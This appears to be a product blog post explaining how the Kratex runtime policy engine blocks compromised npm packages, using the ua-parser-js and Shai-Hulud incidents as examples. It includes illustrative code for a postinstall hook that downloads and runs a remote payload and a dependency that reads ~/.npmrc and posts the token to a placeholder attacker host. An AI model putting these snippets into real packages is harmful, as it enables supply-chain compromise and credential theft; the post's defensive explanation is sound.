Skip to content

· Jacob

How Kratex stops a compromised npm package

A walk through what Kratex does at each step of a real npm supply-chain compromise: gating lifecycle scripts at install, intercepting calls at runtime, and attributing every operation to the package that made it.

In October 2021, ua-parser-js shipped a release whose postinstall script downloaded and ran a payload on every machine that installed it. The package gets tens of millions of downloads a week. In 2025 the Shai-Hulud worm went further: a compromised package read the npm token out of ~/.npmrc, sent it to a server, and used it to publish malicious versions of every other package the victim maintained, which read more tokens and published more packages.

These look like different incidents, but in both the damage starts when the package’s code runs, with the same permissions as the rest of your build. A static scanner like Snyk, Socket, or GitHub Advanced Security catches the versions it has already seen; the version nobody has flagged yet runs with full access.

I built Kratex to enforce what each package is allowed to do while it runs. This post walks through exactly what happens at each step of a compromise of this shape, using the same two incidents above. At the end there is a challenge you can try in your browser, no install required.

How these compromises work

Take the ua-parser-js case first. The malicious code lives in a postinstall script, so it executes the moment you run npm install. npm runs lifecycle scripts for every package in the tree, transitive ones included, before you have imported a single line of anything. By the time you notice, the payload has already phoned home.

The hook is two lines of package.json and a script file:

// node_modules/ua-parser-js/package.json
{
  "name": "ua-parser-js",
  "version": "0.7.29",
  "scripts": {
    "postinstall": "node postinstall.js"
  }
}
// node_modules/ua-parser-js/postinstall.js  (representative shape)
const https = require("node:https");
const fs = require("node:fs");
const { execFileSync } = require("node:child_process");

// pull down the next stage and run it
https.get("https://collect.unknown-host.example/stage2", (res) => {
  const out = fs.createWriteStream("jsextension");
  res.pipe(out);
  out.on("finish", () => execFileSync("./jsextension")); // a cryptominer, in the real incident
});

The next stage is whatever that server delivers. In the actual ua-parser-js compromise it was a credential stealer and a cryptominer, fetched at install and run with your shell’s permissions. There is no import of this package in your code. The script runs because npm runs it.

The Shai-Hulud case executes later, at application runtime, but the move is the same: read something sensitive, then send it somewhere. Buried in a transitive dependency, it runs when your app starts:

// node_modules/analytics-shim/index.js  (representative shape)
const fs = require("node:fs");
const os = require("node:os");
const https = require("node:https");

const token = fs.readFileSync(`${os.homedir()}/.npmrc`, "utf8");
https.request("https://collect.unknown-host.example/x", { method: "POST" }).end(token);

The credential read and the outbound connection happen in one process, and to the operating system they are indistinguishable from your own code doing ordinary I/O.

Kratex addresses each phase separately.

Install time

kratex install wraps your install in two passes:

# pass 1: tree lands on disk, no lifecycle script has run
npm install --ignore-scripts

# pass 2: each preinstall/install/postinstall is checked against
# policy, and only permitted scripts are re-run under enforcement

First it runs npm install --ignore-scripts, so the dependency tree lands on disk with no lifecycle script having executed. Then it walks every preinstall, install, and postinstall script in the installed packages and evaluates each one against your policy before letting it run. A script that the policy permits is re-run under enforcement. A script that would do something the policy forbids never executes.

The ua-parser-js postinstall opens an outbound connection during the install phase. A built-in rule, third-party-lifecycle-network, blocks any third-party network call made during a lifecycle script. That rule fires in every policy mode, including audit, because a lifecycle script reaching the network is one of the clearest signals of compromise there is. The connection is denied before it opens, and Kratex prints a receipt naming the package that tried it:

$ kratex install
block <high> ua-parser-js network:connect collect.unknown-host.example:443 [kratex.builtin.third-party-lifecycle-network]

The same pass blocks shell escapes from lifecycle scripts (the event-stream shape from 2018) and a package rewriting another package’s package.json, which is the move a worm makes to spread.

Runtime and caller-chain attribution

kratex run <command> is where the runtime story lives. It loads an in-process hook into Node when your program starts, and the hook follows into any child processes it spawns. The hook sits in front of the I/O surface (fs, net, and child_process), so every file read, socket connection, and process spawn passes through policy evaluation before it happens.

What makes interception useful is knowing who made the call. When an operation comes in, Kratex captures the JavaScript call stack and walks it frame by frame. For each frame it resolves the file and finds the node_modules/<package> segment that owns it, which tells it the package responsible for that frame. It then attributes the operation to the package deepest in the chain, the one that actually triggered the call rather than a helper it passed through. First-party code, a direct dependency, and a transitive dependency three levels down are all distinguishable.

fs.readFileSync("~/.npmrc")            ← the intercepted operation
  called from
node_modules/analytics-shim/index.js   ← attributed here (third-party)
  called from
node_modules/your-logger/index.js      (third-party, passed through)
  called from
app.js                                 (first-party)

This is what lets a rule mean something precise. Consider the Shai-Hulud read of ~/.npmrc. That file is credential-class data outside your project root, and a built-in rule, third-party-credential-read, blocks any third-party package from reading it. Attribution is what makes the rule safe to apply broadly: your own code reading your own .npmrc is fine, and the rule only fires when the caller chain says a third-party package is the one reaching for it.

The subtler case is the one a scanner reading code at rest cannot reproduce. Suppose a package reads a project secret your policy allows it to read, then later tries to open a socket. Kratex labels the package as having touched sensitive data, and a built-in rule blocks the outbound connection from any package carrying that label:

terminalenforce mode
$ kratex run node app.js
block<critical>analytics-shimnetwork:connectcollect.unknown-host.net:443{credentials}
[kratex.builtin.third-party-exposed-outflow-network]
blocked because: analytics-shim previously read a project secret (credentials)
Illustrative output, modeled on the Shai-Hulud exfiltration shape. The blocked because line is the part a scanner cannot produce. It comes from watching the secret read and the outbound connection happen in one process, attributed to the same package.

That correlation only exists at runtime, and only with attribution.

What you get by default

Every rule in this walkthrough is built in and on by default, with no configuration. The defaults cover more than the walkthrough showed. They also block crypto-wallet reads, publishing a package from inside a lifecycle script, third-party use of process.binding (the raw native bindings underneath the patched modules), and any write to Kratex’s own policy file, rules cache, or installed engine. These mirror the patterns in publicly disclosed npm compromises going back to event-stream and eslint-scope in 2018.

Mode changes what a block-tier rule does. In enforce mode it blocks. In audit mode most of these rules demote: a third-party credential read, for example, is recorded as a would-block and allowed to proceed. A small set is tagged to fire even in audit, because the damage is irreversible the moment the operation succeeds: network calls from lifecycle scripts (the rule you saw block ua-parser-js above), crypto-wallet reads, the two self-propagation rules (rewriting a sibling package’s manifest, publishing from a lifecycle script), and writes to Kratex’s own policy and engine files.

Anything a built-in rule doesn’t match is allowed by default. You tighten or audit the rest by editing a JSON policy file in your repo, where a more-specific rule wins over a broader one. A policy can say a given host is allowed for one package and denied for every other caller, and attribution makes that distinction hold:

// kratex.policy.json
{
  "mode": "enforce",
  "rules": [
    {
      "id": "my-app.allow-prisma-db",
      "subject": { "package": "prisma" },
      "target": { "kind": "network", "host": "db.internal" },
      "effect": { "action": "allow" }
    }
  ]
}

That rule lets prisma reach db.internal and nothing else changes. Any other package opening a connection to that host still meets the default, because the allow is pinned to a subject the caller chain has to match.

Try to break it

The strongest claim I can make is one you can test yourself. I built a challenge that runs entirely in your browser through StackBlitz: real Node.js in the browser, nothing to install. It includes a dependency that replays the September 2025 Shai-Hulud credential theft and a planted secret, with Kratex running on nothing but its built-in defaults. Your job is to get that secret off the machine. Rewrite the dependency or add your own files; the one thing you may not touch is the policy file. If you get it out, I want to hear exactly how.

Open in StackBlitz

The engine is open source under Apache 2.0. npm i -g @kratex/cli and it behaves the same on your laptop as in that browser tab.